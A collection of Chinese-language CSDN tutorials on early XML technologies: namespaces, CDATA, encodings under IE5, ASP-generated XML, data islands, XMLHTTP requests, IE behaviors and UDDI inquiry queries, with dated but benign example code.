     W3C名字空间规范规定名字空间本身应该是一个统一资源识别号 (URI)。当一个名字空间在一个元素的起始标记中被定义时，所有有相同前缀的子元素都与同样的名字空间相关。 注意：分解器并不使用用来识别名字空间的地址去查找信息。这个地址唯一的目的就是给名字空间一个唯一的名字。但是，公司经常将名空间作为包含名空间信息的实际Web页面的一个指针。访问http://www.w3.org/TR/html4/试一试。

     b>统一资源识别号

     一个统一资源识别号(URI)是识别一个Internet资源的字符串。通常URI就是识别一个Internet域地址的URL。另外，有少数一些类型的URI 是通用资源名(URN)。在我们的例子中只使用URL。由于我们这个家具的例子中使用一个Internet地址去识别其名字空间，我们可以肯定我们的名字空间是唯一的。


csdn_默认名字空间

  默认名字空间
作者： 青苹果工作室
     如果为一个元素定义一个默认的名字空间，我们就不用在所有的子元素中使用前缀了。它的语法是这样的：

     < element xmlns="namespace">

     这个XML 文档在一个表格中携带了信息：

     < table xmlns="http://www.w3.org/TR/html4/">
     < tr>
     < td>Apples< td>
     < td>Bananas< td>
     < tr>
     < /table>

     这个XML文档携带了关于一件家具的信息：

     < table xmlns="http://www.w3schools.com/furniture">
     < name>African Coffee Table< /name>
     < width>80< /width>
     < length>120< /length>
     < /table>

     b>在实际中使用名字空间

     当你开始使用XSL时，你很快就会看到在实际中名字空间的使用。XSL格式表被用来将XML文档转换成其它格式，如HTML。仔细看看下面的XSL 文档，就能发现大部分标记是HTML标记。那些不是HTML的标记都有一个前缀xsl, 用名字空间"http://www.w3.org/TR/xsl"来识别：

     < ?xml version='1.0'?>
     < xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/xsl">
     < xsl:template match="/">
     < html>
     < body>
     < table border="2" bgcolor="yellow">
     < tr>
     < th>Title< /th>
     < th>Artist< /th>
     < /tr>
     < xsl:for-each select="CATALOG/CD">
     < tr>
     < td>< xsl:value-of select="TITLE"/>< /td>
     < td>< xsl:value-of select="ARTIST"/>< /td>
     < /tr>
     < /xsl:for-each>
     < /table>
     < /body>
     < /html>
     < /xsl:template>
     < /xsl:stylesheet>

     XML PCDATA 和 CDATA

     可分解的字符数据(PCDATA) 是用分解器分解的文本。字符数据(CDATA) 是没有被分解器分解的文本。

     b>PCDATA

     XML 分解器将所有的文本都作为可分解的字符(PCDATA)来对待。 当一个XML 元素被分解时，XML标记之间的文本也被分解：

     < message>This text is also parsed< /message>

     分解器这样做是因为XML元素可以包含其它元素，就象在这个例子中， < name>元素包含了其它两个元素 (first 和 last):

     < name>< first>Bill< /first>< last>Gates< /last>< /name>

     分解器将把它分解成子元素，象这样:

     < name>
     < first>Bill< /first>
     < last>Gates< /last>
     < /name>

     b>Escape 字符

     非法的XML字符必须用实体引用来代替。 如果你在一个XML元素中放置了一个字符，如"< " ，它就会生成一个错误，因为分解器会将它解释为一个新元素的开始。你不能这样写：

     < message>if salary < 1000 then< /message>

     为了避免这种情况，你必须用一个实体引用来代替 "< " 字符，象这样：

     < message>if salary < 1000 then< /message>

     在XML中有5个预先定义的实体引用：

     < < 小于
> > 大于
& & &符号
' ' 省略号
" " 引号

     实体引用通常以 "&" 符号开始，以 ";" 符号结束。 注意: 在XML中严格地来说，只有"< " 和 "&" 符号是非法的。省略号、引号和大于号都是合法的，但最好还是将它们替换掉。

     b>CDATA

     分解器忽略CDATA 区域内的所有内容。如果你的文本中包含了许多 "< " 或 "&" 符号 --- 程序编码通常这样--- 那么XML元素可以定义为一个CDATA 区域。 一个CDATA区域以 "< ![CDATA[" 开始，以 "]]>" 结束：

     < script>
     < ![CDATA[
     function matchwo(a,b)
     {
     if (a < b && a < 0) then
     {
     return 1
     }
     else
     {
     return 0
     }
     }
     ]]>
     < /script>

     在前面的例子中， CDATA区域内的全部内容都被分解器忽略了。


csdn_XML 编码

  XML 编码
作者： 青苹果工作室
XML 文档中可以包含外语字母，如挪威语 ??? 或法语 êèé。要让你的XML分解器理解这些字母，就应该把XML文档存储成Unicode（统一的字符编码标准）。

     b>Windows 95/98 记事本

     Windows 95/98 记事本不能将文件保存成Unicode 格式。你可以用Notepad 编辑和保存包含外语字母（如挪威语和法语的??? 和 êèé）的XML 文档，

     < ?xml version="1.0"?>
     < note>
     < from>Jani< /from>
     < to>Tove< /to>
     < message>Norwegian: ???. French: êèé< /message>
     < /note>

     但是如果你保存文件并用IE 5.0打开它，就会得到一个错误信息。

     b>带有编码的Windows 95/98 记事本

     Windows 95/98 记事本文件必须用编码属性保存。 要避免这个错误，你可以向你的XML声明中加上一个编码属性，但是不能使用Unicode。

     这样的编码(用IE 5.0打开它), 就不会给出一个错误信息：

     < ?xml version="1.0" encoding="windows-1252"?>

     这样的编码(IE 5.0打开它), 也不会给出错误信息：

     < ?xml version="1.0" encoding="ISO-8859-1"?>

     这样的编码(IE 5.0打开它), 会给出一个错误信息：

     < ?xml version="1.0" encoding="UTF-8"?>

     这样的编码(IE 5.0打开它), 会给出一个错误信息：

     < ?xml version="1.0" encoding="UTF-16"?>

     b>Windows 2000 记事本

     Windows 2000 记事本可以将文件保存成Unicode。Windows 2000 中的记事本编辑器支持 Unicode。如果你选择要将这个XML文件保存成Unicode （注意文档中不包含任何编码属性）：

     < ?xml version="1.0"?>
     < note>
     < from>Jani< /from>
     < to>Tove< /to>
     < message>Norwegian: ???. French: êèé< /message>
     < /note>

     你可以用IE 5.0 打开它，而不会得到错误信息。

     b>带有编码的Windows 2000 记事本

Windows 2000 记事本用"UTF-16"编码将文件保存为Unicode。如果你向保存为Unicode的XML文件中增加一个编码属性，windows 编码值就会产生一个错误。

     这样的编码(IE 5.0打开它), 会给出一个错误信息：

     < ?xml version="1.0" encoding="windows-1252"?>

     这样的编码(IE 5.0打开它), 会给出一个错误信息：

     < ?xml version="1.0" encoding="ISO-8859-1"?>

     这样的编码(IE 5.0打开它), 会给出一个错误信息：

     < ?xml version="1.0" encoding="UTF-8"?>

     这样的编码(IE 5.0打开它), 不会给出一个错误信息：
     < ?xml version="1.0" encoding="UTF-16"?>

     b>错误信息

     如果你试图向Internet Explorer 5中装载一个XML文档，你会得到两个不同的错误信息表示编码的问题：

在文本内容中发现了一个无效字符: 如果XML文档中的一个字符与编码属性不匹配，你就会得到这个错误信息。通常，如果你的XML 文档中包含外语字母并且文件是用记事本这样的单字节编码编辑器保存的，而且没有规定编码属性的话，就会得到这样的错误信息。

从当前编码转换到不支持的指定编码: 如果你的文件保存为Unicode/UTF-16，但是编码属性指定了单字节编码，例如Windows-1252、 ISO-8859-1或UTF-8，你就会得到这样的错误信息。另外如果你的文档是用单字节编码保存的，但是编码属性指定了双字节编码例如UTF-16的话，你也会得到这样的错误信息。
     结论

     结论就是编码属性必须指定保存文档时所使用的编码。为避免这类错误，我的建议是： 总是将XML文件保存成没有任何编码信息的Unicode。使用一个支持Unicode的编辑器(Windows 2000 记事本就行)，总是省略编码属性。


csdn_一个简单的XML 服务器

  一个简单的XML 服务器
作者： 青苹果工作室
在一个没有安装任何XML控制的服务器上就可以生成XML。

     在服务器上存储 XML

     XML文件可以存储在你的Internet服务器上。 XML文件可以存储在你的Internet服务器上，就象其它HTML 文件一样。
打开记事本编辑器，写下面几行：

     < ?xml version="1.0"?>
     < note>
     < from>Jani< /from>
     < to>Tove< /to>
     < message>Remember me this weekend< /message>
     < /note>

     你只需要用一个适当的名字如"note.xml"将文件存储在你的Internet服务器上，然后这个XML文档就可以用了。 注意：XML文件必须与你的HTML文件在同一路径（文件夹）下，MIME类型的XML文件应该设置到text/xml。

     用ASP生成XML

     XML可以在没有安装任何XML软件的服务器上生成。要从你的服务器上生成一个XML响应 - 只需要写出以下代码，并将它作为一个ASP文件保存在你的web服务器上：

     < %
     Response.ContentType="text/xml"

     Response.Write("< ?xml version='1.0' ?>")
     Response.Write("< note>")
     Response.Write("< from>Jani< /from>")
     Response.Write("< to>Tove< /to>")
     Response.Write("< message>Remember me this weekend< /message>")
     Response.Write("< /note>")
     %>

     注意：响应的内容类型必须设置为XML。点击这里可看到如何从服务器返回ASP文件。(ASP代表活动的服务器页面。如果你不知道如何写ASP，可以在W3Schools' ASP School上学习)

     从一个数据库获得XML

     XML可以从没有安装任何XML软件的数据库中生成。前面的例子中的XML响应可以很容易地修改成从一个数据库中获取它的数据。要从数据库中生成一个XML数据库响应，只需要写出以下代码并将其保存为一个ASP 文件：

     < %
     Response.ContentType = "text/xml"

     set conn=Server.CreateObject("ADODB.Connection")
     conn.provider="Microsoft.Jet.OLEDB.4.0;"
     conn.open server.mappath("../ado/database.mdb")
     sql="select fname, lname from tblGuestBook"
     set rs = Conn.Execute(sql)
     rs.MoveFirst()

     response.write("< ?xml version='1.0' ?>")
     response.write("< guestbook>")
     while (not rs.EOF)
     response.write("< guest>")
     response.write("< fname>" & rs("fname") & "< /fname>")
     response.write("< lname>" & rs("lname") & "< /lname>")
     response.write("< /guest>")
     rs.MoveNext()
     wend
     rs.close()
     conn.close()

     response.write("< /guestbook>")
     %>

     你可以自己试试看这个页面的实际数据库输出。上面的例子使用了带有ADO的ASP。如果你不知道如何使用ADO, 你可以在W3Schools' ADO School中学习。


csdn_XML应用程序

  XML应用程序
作者： 青苹果工作室
这一章演示了一个XML应用程序的小框架。

     从一个XML文档开始

     首先我们从一个简单的XML文档开始。现在来看看我们最初的演示文档--CD 目录：

     < ?xml version="1.0"?>
     < CATALOG>
     < CD>
     < TITLE>Empire Burlesque< /TITLE>
     < ARTIST>Bob Dylan< /ARTIST>
     < COUNTRY>USA< /COUNTRY>
     < COMPANY>Columbia< /COMPANY>
     < PRICE>10.90< /PRICE>
     < YEAR>1985< /YEAR>
     < /CD>
     .
     .
     ... more ...
     .

     如果你有Iternet Explorer 5.0 或更高版本，点击这里可以看到完整的XML 文件。

     将文档装载到一个数据岛中

     可以用一个数据岛来访问XML文件。要在一个HTML页面内部得到你的XML 文档，向页面中增加一个XML数据岛。

     < xml src="cd_catalog.xml" id="xmldso" async="false">
     < /xml>

     用上面例子的代码，XML 文件"cd_catalog.xml" 将被装载到一个不可视的称为"xmldso"的数据岛中。将async="false" 属性增加到数据库中，这样可以保证在进行其它的HTML处理之前，将所有的XML数据都装载进去。

     将数据岛捆绑到一个HTML 表格

     可以用一个HTML表格来显示XML数据。要使你的XML数据在HTML页面中可视，就必须将你的XML数据岛捆绑到一个HTML元素中。要将你的XML数据捆绑到一个HTML表格，向表格中增加一个数据源属性，并向表格数据内部的< span>元素增加数据域属性：

     < table datasrc="#xmldso" width="100%" border="1">

     < thead>
     < th>Title< /th>
     < th>Artist< /th>
     < th>Year< /th>
     < /thead>

     < tr align="left">
     < td>< span datafld="TITLE">< /span>< /td>
     < td>< span datafld="ARTIST">< /span>< /td>
     < td>< span datafld="YEAR">< /span>< /td>
     < /tr>
     < /table>

     如果你有Internet Explorer 5.0或更高版本，点击这里可以看到XML数据是如何在一个HTML表格内部显示的。

     将数据岛捆绑到< span> 或 < div> 元素

     可以用< span>或< div> 元素来显示XML数据。你不必用一个表格去显示XML 数据。一个数据岛中的数据可以在一个HTML页面的任何地方进行显示。你只需要向你的页面中增加一些< span> 或< div> 元素。用数据源属性将元素捆绑到数据岛，用数据域属性将各个元素捆绑到一个XML元素，象这样:

     < br>Title:
     < span datasrc="#xmldso" datafld="TITLE">< /span>
     < br>Artist:
     < span datasrc="#xmldso" datafld="ARTIST">< /span>
     < br>Year:
     < span datasrc="#xmldso" datafld="YEAR">< /span>

     或这样：

     < br>Title:
     < div datasrc="#xmldso" datafld="TITLE">< /div>
     < br>Artist:
     < div datasrc="#xmldso" datafld="ARTIST">< /div>
     < br>Year:
     < div datasrc="#xmldso" datafld="YEAR">< /div>

     如果你有Internet Explorer 5.0或更高版本，点击这里就可以看到XML 数据是如何在HTML元素内部显示的。注意：如果你使用了一个< div>元素，就在新的一行中显示数据。用上面的例子，你将只能看到你的XML数据中的一行。要移到数据的下一行，必须向代码中增加一些脚本。


csdn_向你的XML增加一个导航脚本

  向你的XML增加一个导航脚本
作者： 青苹果工作室
导航必须由一个脚本来实现。要向XML数据岛中增加导航，创建一个脚本，调用数据岛的movenext() 和 moveprevious()方法。

     < script language="JavaScript">
     function movenext()
     {
     x=xmldso.recordset
     if (x.absoluteposition < x.recordcount)
     {
     x.movenext()
     }
     }
     function moveprevious()
     {
     x=xmldso.recordset
     if (x.absoluteposition > 1)
     {
     x.moveprevious()
     }
     }
     < /script>

     如果你有Internet Explorer 5.0或更高版本，点击这里可以看到如何在XML记录中航行。

     合并起来

     用一点点创造力你就能创建一个完整的应用程序。 如果你使用在这一页中所学到的东西和一点点想象力，你就可以轻易地将这个发展成一个完整的应用程序。如果你运行的是Internet Explorer 5.0 或更高版本，点击这里可以看到如何为这个应用程序增加一些色彩。

     XML的 HTTP请求

     可以用一个HTTP请求从服务器请求XML数据。

     浏览器请求

     从浏览器进行一个HTTP请求，可以从服务器请求XML：

     var objHTTP = new ActiveXObject("Microsoft.XMLHTTP")
     objHTTP.Open('GET','httprequest.asp',false)
     objHTTP.Send()

     要查看这个请求的结果，你可以在浏览器中显示：

     document.all['A1'].innerText= objHTTP.status
     document.all['A2'].innerText= objHTTP.statusText
     document.all['A3'].innerText= objHTTP.responseText

用JavaScript来自己试试看
用VBScript来自己试试看

     与服务器通讯

     你可以用HTTP 请求与服务器进行“通讯”：用XML与服务器通讯。在这个例子中，用这个ASP代码在服务器上“伪造”响应：

     < %
     Response.ContentType="text/xml"
     txt="< answer>< text>12 Years< /text>< /answer>"
     response.write(txt)
     %>

     所以，不管问了什么问题，答案都是12年。在实际中，你可以写一些代码来分析问题并作出正确的回答。


csdn_XML 行为 - 新的DHTML?

  XML 行为 - 新的DHTML?
作者： 青苹果工作室
一个行为是一个CSS属性选择器。它可以指向一个XML 文件，这个文件中包含着与一个Web页面中的元素执行的相反的代码。 行为不是W3C标准的，它是Microsoft独有的技术。

     行为是什么？

     一个行为是一个新的CSS属性选择器。一个行为选择器可以指向一个单独的XML文件，其中包含着一个Web页面中的XML或HTML元素所执行的相反的代码。你理解了吗？就是一个将脚本代码完全从HTML页面中移走的方法？太好了。现在我们从编写脚本库开始，然后将脚本附加到我们选择的任意元素上。

     它是如何工作的？

     看看这个HTML文件。它有一个< style>元素，它为< h1>元素定义了一个行为：

     < html>
     < head>
     < style>
     h1 { behavior: url(behave.htc) }
     < /style>
     < /head>

     < body>
     < h1>Move your Mouse over me< /h1>
     < /body>
     < /html>

     用这个例子自己试一试，将鼠标移过文本。行为代码存储在XML文档behave.htc中，如下所示：

     < component>
     < attach for="element" event="onmouseover"
     handler="hig_lite" />
     < attach for="element" event="onmouseout"
     handler="low_lite" />

     < script language="JavaScript">
     function hig_lite()
     {
     element.style.color=255
     }
     function low_lite()
     {
     element.style.color=0
     }
     < /script>
     < /component>

     这个行为文件中包含JavaScript。这个脚本被包装在一个< component>元素中。元素包装器还包含脚本的事件操作器。这行为很好，是吗？


csdn_XML相关的技术

  XML相关的技术
作者： 青苹果工作室
这章包含了一系列对于理解和开发XML应用程序很重要的技术。如果你想更多地学习XML，也可以把这章看成是“下一步怎么走”。

     XHTML - 可扩展的 HTML

XHTML是HTML 4.01: 在 XML 中的再生成的产物。 XHTML 1.0 是HTML的最新版本。更多内容请阅读 XHTML School。
CSS - 层叠样式表: 可以将CSS 格式表增加到XML文档中来提供显示信息。更多内容请阅读CSS School。
XSL - 可扩展的格式表语言：XSL 包括三部分：XML文档转换（重命名为XSLT, 见下面），一个格式匹配语法（重命名为XPath,见下面），以及一个格式化对象解释。
XSLT - XML转换：XSLT 比CSS功能强大得多。它可以用来将XML文件转换成多种不同的输出格式。更多内容请阅读XSL School。
XPath - XML 格式匹配：XPath 是用来对一个XML文档的一部分进行寻址的语言。XPath在设计时是让XSLT 和 XPointer二者都使用的。
XLink - XML 连接语言：XML 连接语言(XLink)允许将元素插入XML文档中，以创建XML 资源之间的链接。
XPointer - XML 指针语言：XML 指针语言(XPointer)支持对XML文档内部结构的寻址，例如元素、属性和内容。
DTD - 文档类型定义：一个DTD 可以用来定义一个XML文档的合法结构区。更多内容请阅读DTD School。
名空间：XML 名空间定义了一种方法，这种方法通过将XML中使用的元素和属性与URI引用联系起来对元素和属性
进行定义。
XSD - XML 计划：计划是DTD的强有力的替代品。计划是用XML编写的，它支持名空间和数据类型。更多内容请阅读Schema School。
XDR - XML 的简化数据：XDR是XML计划的一个简化版本。对XDR的支持是Internet Explorer 5.0携带的，而XML计划还只是一个工作蓝本。一旦XML 计划的规范成为W3C推荐，Microsoft 就会全面支持它。
DOM -文档对象模型：DOM 定义处理XML文档的界面、属性和方法。更多内容请阅读DOM School。
XQL - XML 查询语言：XML 查询语言支持查询功能，从XML文档中提取数据。
SAX - XML的简单API：SAX 是阅读和操作XML文档的另一个界面。更多内容请阅读SAX School。
W3C 推荐：万维网协会(W3C) 成立于1994 年，它通过开发通用的WWW协议，如HTML、CSS和XML来引导Web 。W3C 所做的最重要的工作是Web 规范( 称为“推荐”)的开发，这个规范描述了通讯协议 (如 HTML 和 XML) 和 Web的其它结构部分。有关各个XML标准的状态的更多信息请阅读 W3C School。
     XML 书籍

     这里列出的书目是我认为你应该阅读的。这些书都以其良好的品质而著称：

XML 入门：这本书适合于那些想学习XML是什么、它可以做什么及如何使用它的人阅读。读者掌握一些关于标记
和脚本的知识是有好处的，但不是必须的，因为书中解释了这些技术的基础。
21天自学 XML ：这本教程非常易于使用，它将学习XML的任务分散在21天的集中课程中。通过概念的清晰解释、分成一步步的任务以及充足的代码举例，读者可以学到许多东西。
XML举例 ：这本书用短小而全面的例子逐步地教会Web 开发人员使用XML。
XML Web 文档概述 ： 这本书是用XML和XSL管理和发布文档的路线图。
XML 圣经 ：在最新的W3C 的基础上，这本教程加参考性质的书一步步地教你如何让XML工作。
未释放的XML ：这本书完整全面地向复杂Web开发人员介绍了XML的所有可能用途, 从创建Web 文档到建立复杂的Web应用程序。
专业的XML ：这本书描述了XML的总体概念如何为程序员服务。内容集中在实际应用程序上。这本书的读者应该是
想用XML来建立应用程序和系统的人。
XML IE5, 程序员参考 ：这本书的内容是关于什么是XML、其潜在的应用程序是什么、有那些可用的对XML的支持以及目前在Microsoft Internet Explorer 5中有哪些与之相关的技术。
专业XML设计和执行 ：这本独特的书适用于所有熟悉ASP和HTML并想用XML去开发web应用程序的开发人员。
用XML、 ASP 和 IE5 设计分式式应用程序 ：这本书的内容是创建合作的网络应用程序。目的是促进intranet和Internet应用程序的再利用，并在修改的情况下维持应用程序的生存能力。
专业的ASP XML ：这本书将告诉你如何将你的ASP应用程序与XML的功能结合起来。目的是扩展你对XML的知识，与ASP结合起来，使你能够充分利用这种进化中的技术所提供的完整Internet 系统的性能和功能。


csdn_UDDI ：一种 XML Web 服务

  UDDI ：一种 XML Web 服务
作者： Chris Love
UDDI 查询示例（需要 Internet Explorer 5.x）
通用描述、发现和集成 (UDDI) 服务（英文）目前可以直接运行于 Microsoft、IBM 和 Ariba。这是一种联机 Web 服务，可在应用程序中用来动态发现其他联机服务。该服务全部被巧妙地打包在一个简单的 XML 接口中。

对于有经验的 XML 读者，在客户端应用程序和中间层服务器之间传递 XML 根本不是什么新鲜事。我们从 1998 年开始就这么做。但是，我们也很高兴能看到行业在这个方向上开发出象 UDDI 一样有用的其他服务。

所以，让我们专注于基本事实。您真正需要了解的是可以向其张贴 XML 的 URL。我们经过努力，找到了以下三个 URL：

http://uddi.microsoft.com/inquire
http://uddi.ariba.com/UDDIProcessor.aw/ad/process
http://www-3.ibm.com/services/uddi/inquiryapi
它们是用于“查询”的 UDDI 入口点。用于更新的入口点与它们不一样，并且通常出于安全原因而使用 HTTPS 地址。

张贴什么样的 XML？
首先，XML 必须是 UTF-8（由 UDDI 项目精心简化）格式的，并且必须包装在 SOAP 信封中。SOAP 信封看上去如下所示：

<?xml version='1.0' encoding='UTF-8'?>
<Envelope xmlns='http://schemas.xmlsoap.org/soap/envelope/'>
<Body>?lt;/Body>
</Envelope>

元素的内容可以是来自 uddi 架构（英文）的任何查询。例如，以下查询，当置于 SOAP 信封中时将返回有关 Microsoft 的详细信息：

<find_business generic="1.0" xmlns="urn:uddi-org:api">
<name>Microsoft</name>
</find_business>

注意：我们将名称空间从 SOAP 名称空间切换到“urn:uddi-org:api”名称空间。在 find_business 查询中还可以执行许多其他操作。

如何张贴 XML？
您可以在 JScript 文件或 HTML 页面中使用 MSXML 提供的 XMLHTTP 控件，如下所示：

http = new ActiveXObject("Microsoft.XMLHTTP");
http.open("POST", url, false);
http.setRequestHeader("Accept","text/xml");
http.setRequestHeader("Cache-Control","no-cache");
http.setRequestHeader("SOAPAction",'""');
http.send(msg);

在本例中，我决定做一个好 SOAP 公民，因而在 HTTP 标头中设置 SoapAction。因为每次我都需要动态结果，所以我还决定只接受 text/xml 结果，并且关闭所有缓存。当然，在附加的示例代码中，我是通过就绪状态变化回叫来异步完成这些操作的。

返回什么内容？
当然是 XML。在这种情况下，您获得当前为 Microsoft 注册的 <businessInfo> 元素的详细列表，包括有关 UDDI 服务本身的信息。

<businessList generic="1.0" operator="Microsoft Corporation"
truncated="false" xmlns="urn:uddi-org:api">
<businessInfos>
<businessInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3">
<name>Microsoft Corporation</name>
<description xml:lang="en">以优秀软件给人力量——随时，随地，在任何
设备上——这就是 Microsoft 的目标。作为
全球领先的个人和商务软件厂商，我们致力于
提供创新的产品和服务，满足我们客户的需求</description>
<serviceInfos>
<serviceInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="1FFE1F71-2AF3-45FB-B788-09AF7FF151A4">
<name>智能搜索 Web 服务</name>
</serviceInfo>
<serviceInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="8BF2F51F-8ED4-43FE-B665-38D8205D1333">
<name>电子商务综合服务</name>
</serviceInfo>
<serviceInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="611C5867-384E-4FFD-B49C-28F93A7B4F9B">
<name>批量授权选择程序</name>
</serviceInfo>
<serviceInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="5DE3CE59-923E-42D3-B7FB-34FC3C3CBC16">
<name>Technet</name>
</serviceInfo>
<serviceInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="24E553C3-7E3E-484A-8ECA-80E0D0B4A91F">
<name>Microsoft 开发人员网络</name>
</serviceInfo>
<serviceInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="77DD86E5-CD70-4219-A28C-37231EAF3901">
<name>联机购物</name>
</serviceInfo>
<serviceInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="0860E130-D4AF-4BD5-9F5C-D7F6FA4B1AD8">
<name>主页</name>
</serviceInfo>
<serviceInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="D2BC296A-723B-4C45-9ED4-494F9E53F1D1">
<name>UDDI Web 服务</name>
</serviceInfo>
<serviceInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="A8E4999A-21A3-47FA-802E-EE50A88B266F">
<name>UDDI Web 站点</name>
</serviceInfo>
</serviceInfos>
</businessInfo>
</businessInfos>
</businessList>

在这里，您可以反复查询并获得有关某个特定服务的信息。例如，让我们反复查询 UDDI Web 服务。您可以从上面的结果中获得 businessKey，并且用 <find_service> 来按名称查找一个服务：

<find_service generic='1.0' xmlns='urn:uddi-org:api'
businessKey='0076B468-EB27-42E5-AC09-9955CFF462A3'>
<name>UDDI Web 服务</name>
</find_service>

这将返回有关此服务的信息：

<serviceList generic="1.0" operator="Microsoft Corporation"
truncated="false" xmlns="urn:uddi-org:api">
<serviceInfos>
<serviceInfo businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="D2BC296A-723B-4C45-9ED4-494F9E53F1D1">
<name>UDDI Web 服务</name>
</serviceInfo>
</serviceInfos>
</serviceList>

然后，您可用 serviceKey 来获得有关这项服务的详细信息：

<get_serviceDetail generic='1.0' xmlns='urn:uddi-org:api'>
<serviceKey>D2BC296A-723B-4C45-9ED4-494F9E53F1D1</serviceKey>
</get_serviceDetail>

这将返回下面的 <bindingTemplates>:

<serviceDetail generic="1.0" operator="Microsoft Corporation"
truncated="false" xmlns="urn:uddi-org:api">
<businessService businessKey="0076B468-EB27-42E5-AC09-9955CFF462A3"
serviceKey="D2BC296A-723B-4C45-9ED4-494F9E53F1D1">
<name>UDDI Web 服务</name>
<description xml:lang="en">基于 UDDI SOAP/XML 消息的可编程 Web 服务接口。</description>
<bindingTemplates>
<bindingTemplate bindingKey="313C2BF0-021D-405C-8149-25FD969F7F0B"
serviceKey="D2BC296A-723B-4C45-9ED4-494F9E53F1D1">
<description xml:lang="en">产品 UDDI 服务器，发布接口</description>
<accessPoint URLType="https">https://uddi.microsoft.com/publish</accessPoint>
<tModelInstanceDetails>
<tModelInstanceInfo tModelKey="uuid:64C756D1-3374-4E00-AE83-EE12E38FAE63">
<description xml:lang="en">UDDI SOAP 发布接口</description>
</tModelInstanceInfo>
</tModelInstanceDetails>
</bindingTemplate>
<bindingTemplate bindingKey="A9CAFBE4-11C6-4BFE-90F5-595970D3DE24"
serviceKey="D2BC296A-723B-4C45-9ED4-494F9E53F1D1">
<description xml:lang="en">产品 UDDI 服务器，查询接口</description>
<accessPoint URLType="http">http://uddi.microsoft.com/inquire</accessPoint>
<tModelInstanceDetails>
<tModelInstanceInfo tModelKey="uuid:4CD7E4BC-648B-426D-9936-443EAAC8AE23">
<description xml:lang="en">UDDI SOAP 查询接口</description>
</tModelInstanceInfo>
</tModelInstanceDetails>
</bindingTemplate>
<bindingTemplate bindingKey="3FE6C834-293E-4341-AF6E-41DC68949764"
serviceKey="D2BC296A-723B-4C45-9ED4-494F9E53F1D1">
<description xml:lang="en">测试 UDDI 服务器，发布接口</description>
<accessPoint URLType="https">https://test.uddi.microsoft.com/publish</accessPoint>
<tModelInstanceDetails>
<tModelInstanceInfo tModelKey="uuid:64C756D1-3374-4E00-AE83-EE12E38FAE63">
<description xml:lang="en">UDDI SOAP 发布接口</description>
</tModelInstanceInfo>
<tModelInstanceInfo tModelKey="uuid:F372E009-F372-429C-A09A-794113A5C5F9">
<description xml:lang="en">urn:microsoft-com:test-signature-element 表示这是服务的测试版</description>
</tModelInstanceInfo>
</tModelInstanceDetails>
</bindingTemplate>
<bindingTemplate bindingKey="8ED4AD10-C63B-495E-8969-B3938F86E937"
serviceKey="D2BC296A-723B-4C45-9ED4-494F9E53F1D1">
<description xml:lang="en">测试 UDDI 服务器，查询接口</description>
<accessPoint URLType="http">http://test.uddi.microsoft.com/inquire</accessPoint>
<tModelInstanceDetails>
<tModelInstanceInfo tModelKey="uuid:4CD7E4BC-648B-426D-9936-443EAAC8AE23">
<description xml:lang="en">UDDI SOAP 查询接口</description>
</tModelInstanceInfo>
<tModelInstanceInfo tModelKey="uuid:F372E009-F372-429C-A09A-794113A5C5F9">
<description xml:lang="en">urn:microsoft-com:test-signature-element 表示这是服务的测试版</description>
</tModelInstanceInfo>
</tModelInstanceDetails>
</bindingTemplate>
</bindingTemplates>
<categoryBag>
<keyedReference keyName="KEYWORD" keyValue="API"
tModelKey="uuid:A035A07C-F362-44DD-8F95-E2B134BF43B4"></keyedReference>
<keyedReference keyName="KEYWORD" keyValue="SOAP"
tModelKey="uuid:A035A07C-F362-44DD-8F95-E2B134BF43B4"></keyedReference>
<keyedReference keyName="KEYWORD" keyValue="XML"
tModelKey="uuid:A035A07C-F362-44DD-8F95-E2B134BF43B4"></keyedReference>
</categoryBag>
</businessService>
</serviceDetail>
现在，您可以看到我们会获得有关联机 Web 服务本身的非常丰富的信息。这段信息告诉我们实际上有四个访问点，两个测试访问点在 http://test.uddi.microsoft.com（英文）上，两个产品访问点在 http://uddi.microsoft.com（英文）上。它还告诉我们 UDDI 查询访问点是可以通过 HTTP 公开寻址的，而发布访问点处于 HTTPS 的保护下。

您也可用 tModelKey 信息以查找所有提供 UDDI Web 服务的注册业务，如下所示：

<find_business generic='1.0' xmlns='urn:uddi-org:api'>
<tModelBag><tModelKey>uuid:4CD7E4BC-648B-426D-9936-443EAAC8AE23</tModelKey></tModelBag>
</find_business>

为 Microsoft 和 IBM 返回 <businessInfos>。没有返回 Ariba，因为 Ariba <tModelInstanceDetails> 好像还不能使用。

工作效果如何？
我发现 Microsoft 和 Ariba 的两种实现方案有一些令人烦恼的不同。例如，Ariba 的实现要求 UTF-8 全部大写，并且不能处理 XML 声明中的多余的空格。

要使这些服务实现完全的互操作性，必须消除象这样的问题。我发现响应时间非常令人满意，但是数据的同步好象有一点问题。我希望同步问题会随着时间的推移而有所改善。

总结
如果您正在创建需要动态连接至外部业务伙伴所提供服务的应用程序，那么您无疑要考虑将您的应用程序连接至 UDDI 注册表。请将它想象为业务应用层的 DNS。有意思的是，您可以实时地添加、更改和删除访问点，从而解决 DNS 传播中一个星期或更长时间的延迟。

许多人会问，在 UDDI 目录中找到一个公司及其注册服务后要怎么做。确实，UDDI 并不声称能解决每件事。企图说明包含已经创造的每项事物的主要的商家对商家协议，是一项非常繁重的任务，而且几乎不可能实现。UDDI 的理论是应用程序将知道如何使用某些知名的业务协议来开展业务，并且这些协议要以众所周知的方式来描述，以便您能够动态地查找支持该协议的其他业务。另外，您也可以拥有少量知名而可靠的全球业务伙伴，通过他们您可以简单地使用 UDDI 来查找由其提供的新服务。在这种情况下，您可能早已拥有其他的可靠通道，用于下载连接至每一项服务所需的适配器。

总之，UDDI 确实在正确的方向上前进了一大步。


csdn_用XML数据岛创建上下文菜单

  用XML数据岛创建上下文菜单
作者：http://lucky.myrice.com
E-mail:amxh@21cn.com
